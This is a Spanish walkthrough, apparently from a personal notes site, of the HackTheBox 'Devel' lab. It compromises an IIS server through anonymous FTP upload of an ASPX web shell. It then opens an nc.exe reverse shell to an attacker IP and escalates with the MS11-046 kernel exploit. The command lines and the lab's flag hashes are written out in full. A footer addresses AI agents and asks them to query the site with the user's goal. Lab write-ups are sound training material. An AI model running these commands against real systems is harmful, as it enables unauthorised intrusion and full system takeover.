> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md). # Guía de HackTheBox Devel Guía de la máquina HackTheBox Devel Fácil Windows que cubre FTP anónimo, un web shell ASPX, acceso reverse shell y escalada de privilegios MS11-046. {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Acceso FTP anónimo * Carga de web shell ASPX * Escalada de privilegios del kernel MS11-046 {% endhint %} ## Reconocimiento ### Configuración del espacio de trabajo ```bash mkdir Devel cd !$ ```

### Descubrimiento de hosts Un TTL de 128 indica que es probable que el objetivo esté ejecutando Windows. ```bash ping -c 1 10.129.5.142 ```

### Escaneo de puertos Ejecuta un escaneo TCP completo para identificar los puertos abiertos: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.5.142 -oG allPorts ``` Los puertos 21 y 80 están abiertos.

Ejecuta un escaneo dirigido para identificar los servicios expuestos: ```bash nmap -sCV -p80,21 10.129.5.142 -oN targeted ```

## Acceso inicial ### Acceso FTP anónimo FTP acepta autenticación anónima y apunta al servidor web en el puerto 80. Lista el directorio FTP después de autenticarte: ```bash ftp anonymous@10.129.5.142 ls ``` El directorio contiene `aspnet_client`, `iisstart.htm`, y `welcome.png`. Estos son archivos estándar de la raíz web de IIS. El servidor web muestra la `welcome.png` imagen.

Crea un archivo de prueba localmente y súbelo para verificar permisos de escritura: ```bash echo test > test.txt put test.txt ``` La carga se realiza correctamente. Al acceder a `http://10.129.5.142/test.txt` confirma que las cargas FTP son servidas por IIS.

### Web shell ASPX {% embed url="" %} Descarga la web shell ASPX: ```bash wget https://raw.githubusercontent.com/cldrn/davtest/refs/heads/master/backdoors/aspx_cmd.aspx ``` Súbelo a través de FTP: ```bash put aspx_cmd.aspx ```

Abrir `http://10.129.5.142/aspx_cmd.aspx` para ejecutar comandos. La web shell proporciona ejecución remota de comandos: ```bash whoami iis apppool\web ```

### Shell inversa Copia `nc.exe` al directorio actual. Este binario crea la shell interactiva de Windows: ```bash cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . ``` Inicia un servidor SMB para compartir el ejecutable: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

Inicia un listener en el puerto 4444: ```bash sudo rlwrap nc -nvlp 4444 ``` Ejecuta estos comandos a través de la web shell. El primer comando copia Netcat desde el recurso compartido SMB. El segundo se conecta de vuelta al listener: ```bash copy \\10.10.15.2\smbFolder\nc.exe C:\Users\Public\nc.exe C:\Users\Public\nc.exe -e cmd.exe 10.10.15.2 4444 ```

La shell se ejecuta como `iis apppool\web`. Esta cuenta tiene privilegios limitados. ## Escalada de privilegios ### Información del sistema ```bash systeminfo ``` Esto revela la versión de Windows y detalles del sistema.

El objetivo ejecuta Windows 7 Enterprise. ### MS11-046 `systeminfo` identifica Windows 7 Enterprise, compilación `7600`. Esta versión sin parchear es candidata para exploits locales de kernel conocidos. MS11-046 es una vulnerabilidad local de escalada de privilegios. Requiere ejecución de código previa en el host. No explota SMB de forma remota. Usa el exploit de kernel MS11-046: {% embed url="" %} Clona el repositorio del exploit: ```bash git clone https://github.com/SecWiki/windows-kernel-exploits ``` Ve al directorio del exploit: ```bash cd windows-kernel-exploits/MS11-046 ``` Comparte el ejecutable con el objetivo a través de SMB: ```bash sudo ~/.local/bin/smbserver.py smbFolder $(pwd) -smb2support ```

Copia el ejecutable desde la shell de Windows a un directorio con permisos de escritura: ```bash copy \\10.10.15.2\smbFolder\ms11-046.exe c:\Users\Public\Downloads\ms11-046.exe ```

Confirma el usuario actual y luego ejecuta el exploit: ```bash whoami iis apppool\web ``` ```bash .\ms11-046.exe ``` El exploit devuelve una `NT AUTHORITY\SYSTEM` shell: ```bash whoami nt authority\system ```

## Flags ```bash type c:\Users\babis\Desktop\user.txt 0efea4c5e140c594ce1ca88594b3d7dc type c:\Users\Administrator\Desktop\root.txt 3d360ef3c74b5936a51971a8f7383c11 ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/devel-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.